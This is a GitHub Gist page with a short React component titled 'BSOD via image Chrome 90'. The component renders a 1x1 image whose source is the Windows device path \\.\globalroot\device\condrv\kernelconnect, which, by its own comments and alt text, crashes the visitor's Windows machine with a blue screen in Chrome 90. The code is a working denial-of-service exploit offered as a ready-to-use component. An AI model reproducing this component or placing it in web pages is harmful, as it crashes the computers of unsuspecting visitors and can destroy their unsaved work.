Last active
November 21, 2021 20:18
-
-
Save milksense/48b178a35bdb65f36a10f5759e6c8236 to your computer and use it in GitHub Desktop.
React Component » BSOD via image Chrome 90
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import React, { useState, useEffect } from 'react'; | |
/** | |
* Works in Chrome 90.0.4430.72 | |
* | |
* @method Bug | |
*/ | |
const Bug = () => { | |
/** | |
* Current IMG src attr | |
* | |
* @type {String|NULL} | |
*/ | |
const [src, setSRC] = useState(); | |
useEffect(() => { | |
/** | |
* Simple way to check Windows user | |
* @see {@link https://habr.com/ru/news/t/537940/} reference. | |
*/ | |
setSRC(`\\\\.\globalroot\\device\\condrv\\kernelconnect`); | |
}, [src]); | |
return !src ? ( | |
<>Loading..</> | |
) : ( | |
<> | |
<img src={src} alt="Windows gonna die" width="1" height="1" /> | |
</> | |
); | |
}; | |
export default Bug; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment